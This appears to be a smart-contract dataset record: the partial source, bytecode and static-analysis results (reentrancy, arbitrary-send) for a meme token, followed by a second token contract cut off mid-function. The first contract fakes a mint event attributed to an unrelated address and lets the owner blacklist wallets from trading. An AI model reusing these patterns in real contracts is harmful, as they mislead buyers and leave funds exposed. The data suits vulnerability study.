function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SPAGINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Spaghettinu🍝";
string private constant _symbol = unicode"SPAGINU🍝";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (34 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0xAb794aE5CFd2a50d52fBA753d0578cda5f4d7ad4).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fd578063c3c8cd801461031d578063c9567bf914610332578063d543dbeb14610347578063dd62ed3e1461036757600080fd5b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a9059cbb146102dd57600080fd5b8063273123b7116100dc578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610119578063095ea7b31461016357806318160ddd1461019357806323b872dd146101b957600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600f81526e5370616768657474696e75f09f8d9d60881b60208201525b60405161015a9190611999565b60405180910390f35b34801561016f57600080fd5b5061018361017e36600461182a565b6103ad565b604051901515815260200161015a565b34801561019f57600080fd5b50683635c9adc5dea000005b60405190815260200161015a565b3480156101c557600080fd5b506101836101d43660046117ea565b6103c4565b3480156101e557600080fd5b506101f96101f436600461177a565b61042d565b005b34801561020757600080fd5b506040516009815260200161015a565b34801561022357600080fd5b506101f961023236600461191c565b610481565b34801561024357600080fd5b506101f96104c9565b34801561025857600080fd5b506101ab61026736600461177a565b6104f6565b34801561027857600080fd5b506101f9610518565b34801561028d57600080fd5b506000546040516001600160a01b03909116815260200161015a565b3480156102b557600080fd5b5060408051808201909152600b81526a53504147494e55f09f8d9d60a81b602082015261014d565b3480156102e957600080fd5b506101836102f836600461182a565b61058c565b34801561030957600080fd5b506101f9610318366004611855565b610599565b34801561032957600080fd5b506101f961063d565b34801561033e57600080fd5b506101f9610673565b34801561035357600080fd5b506101f9610362366004611954565b610a36565b34801561037357600080fd5b506101ab6103823660046117b2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ba338484610b09565b5060015b92915050565b60006103d1848484610c2d565b610423843361041e85604051806060016040528060288152602001611b6a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc7565b610b09565b5060019392505050565b6000546001600160a01b031633146104605760405162461bcd60e51b8152600401610457906119ec565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ab5760405162461bcd60e51b8152600401610457906119ec565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e957600080fd5b476104f381611001565b50565b6001600160a01b0381166000908152600260205260408120546103be9061108f565b6000546001600160a01b031633146105425760405162461bcd60e51b8152600401610457906119ec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103ba338484610c2d565b6000546001600160a01b031633146105c35760405162461bcd60e51b8152600401610457906119ec565b60005b8151811015610639576001600660008484815181106105f557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063181611aff565b9150506105c6565b5050565b600e546001600160a01b0316336001600160a01b03161461065d57600080fd5b6000610668306104f6565b90506104f381611113565b6000546001600160a01b0316331461069d5760405162461bcd60e51b8152600401610457906119ec565b601154600160a01b900460ff16156106f75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610457565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107343082683635c9adc5dea00000610b09565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076d57600080fd5b505afa158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190611796565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ed57600080fd5b505afa158015610801573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108259190611796565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086d57600080fd5b505af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a59190611796565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108d5816104f6565b6000806108ea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094d57600080fd5b505af1158015610961573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610986919061196c565b505060118054673e7336287142000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fe57600080fd5b505af1158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106399190611938565b6000546001600160a01b03163314610a605760405162461bcd60e51b8152600401610457906119ec565b60008111610ab05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610457565b610ace6064610ac8683635c9adc5dea00000846112b8565b90611337565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610cf35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b60008111610d555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610457565b6007600a556003600b556000546001600160a01b03848116911614801590610d8b57506000546001600160a01b03838116911614155b15610f6a576001600160a01b03831660009081526006602052604090205460ff16158015610dd257506001600160a01b03821660009081526006602052604090205460ff16155b610ddb57600080fd5b6011546001600160a01b038481169116148015610e0657506010546001600160a01b03838116911614155b8015610e2b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e405750601154600160b81b900460ff165b15610e9d57601254811115610e5457600080fd5b6001600160a01b0382166000908152600760205260409020544211610e7857600080fd5b610e83426022611a91565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610ec857506010546001600160a01b03848116911614155b8015610eed57506001600160a01b03831660009081526005602052604090205460ff16155b15610efd576007600a556005600b555b6000610f08306104f6565b601154909150600160a81b900460ff16158015610f3357506011546001600160a01b03858116911614155b8015610f485750601154600160b01b900460ff165b15610f6857610f5681611113565b478015610f6657610f6647611001565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fac57506001600160a01b03831660009081526005602052604090205460ff165b15610fb5575060005b610fc184848484611379565b50505050565b60008184841115610feb5760405162461bcd60e51b81526004016104579190611999565b506000610ff88486611ae8565b95945050505050565b73ab794ae5cfd2a50d52fba753d0578cda5f4d7ad46108fc611024836002611337565b6040518115909202916000818181858888f1935050505015801561104c573d6000803e3d6000fd5b50600f546001600160a01b03166108fc611067836002611337565b6040518115909202916000818181858888f19350505050158015610639573d6000803e3d6000fd5b60006008548211156110f65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610457565b60006111006113a7565b905061110c8382611337565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111bd57600080fd5b505afa1580156111d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f59190611796565b8160018151811061121657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260105461123c9130911684610b09565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611275908590600090869030904290600401611a21565b600060405180830381600087803b15801561128f57600080fd5b505af11580156112a3573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b6000826112c7575060006103be565b60006112d38385611ac9565b9050826112e08583611aa9565b1461110c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610457565b600061110c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ca565b80611386576113866113f8565b611391848484611426565b80610fc157610fc1600c54600a55600d54600b55565b60008060006113b461151d565b90925090506113c38282611337565b9250505090565b600081836113eb5760405162461bcd60e51b81526004016104579190611999565b506000610ff88486611aa9565b600a541580156114085750600b54155b1561140f57565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806114388761155f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061146a90876115bc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461149990866115fe565b6001600160a01b0389166000908152600260205260409020556114bb8161165d565b6114c584836116a7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161150a91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115398282611337565b82101561155657505060085492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061157c8a600a54600b546116cb565b925092509250600061158c6113a7565b9050600080600061159f8e87878761171a565b919e509c509a509598509396509194505050505091939550919395565b600061110c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc7565b60008061160b8385611a91565b90508381101561110c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610457565b60006116676113a7565b9050600061167583836112b8565b3060009081526002602052604090205490915061169290826115fe565b30600090815260026020526040902055505050565b6008546116b490836115bc565b6008556009546116c490826115fe565b6009555050565b60008080806116df6064610ac889896112b8565b905060006116f26064610ac88a896112b8565b9050600061170a826117048b866115bc565b906115bc565b9992985090965090945050505050565b600080808061172988866112b8565b9050600061173788876112b8565b9050600061174588886112b8565b905060006117578261170486866115bc565b939b939a50919850919650505050505050565b803561177581611b46565b919050565b60006020828403121561178b578081fd5b813561110c81611b46565b6000602082840312156117a7578081fd5b815161110c81611b46565b600080604083850312156117c4578081fd5b82356117cf81611b46565b915060208301356117df81611b46565b809150509250929050565b6000806000606084860312156117fe578081fd5b833561180981611b46565b9250602084013561181981611b46565b929592945050506040919091013590565b6000806040838503121561183c578182fd5b823561184781611b46565b946020939093013593505050565b60006020808385031215611867578182fd5b823567ffffffffffffffff8082111561187e578384fd5b818501915085601f830112611891578384fd5b8135818111156118a3576118a3611b30565b8060051b604051601f19603f830116810181811085821117156118c8576118c8611b30565b604052828152858101935084860182860187018a10156118e6578788fd5b8795505b8386101561190f576118fb8161176a565b8552600195909501949386019386016118ea565b5098975050505050505050565b60006020828403121561192d578081fd5b813561110c81611b5b565b600060208284031215611949578081fd5b815161110c81611b5b565b600060208284031215611965578081fd5b5035919050565b600080600060608486031215611980578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119c5578581018301518582016040015282016119a9565b818111156119d65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a705784516001600160a01b031683529383019391830191600101611a4b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aa457611aa4611b1a565b500190565b600082611ac457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ae357611ae3611b1a565b500290565b600082821015611afa57611afa611b1a565b500390565b6000600019821415611b1357611b13611b1a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f357600080fd5b80151581146104f357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4f238e2532c44617af21572eb9c99007af7058344246045c38257575eacf97f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,930 |
0xa3Bb762304910C4E6c8e04ee86356473dF4cee81
|
/*
Buffy Inu
https://t.me/BuffyInuEth
___. _____ _____ .__
\_ |__ __ ___/ ____\/ ____\__.__. |__| ____ __ __
| __ \| | \ __\\ __< | | | |/ \| | \
| \_\ \ | /| | | | \___ | | | | \ | /
|___ /____/ |__| |__| / ____| |__|___| /____/
\/ \/ \/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BUFFY is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Buffy Inu";
string private constant _symbol = "BUFFY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xF0a46Dce9151F42d083c4a96531a8C4aF6c89A7B);
address payable private _marketingAddress = payable(0x30EBbD8D179EF39b8f8b78d85E4ad30d98eD8c23);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
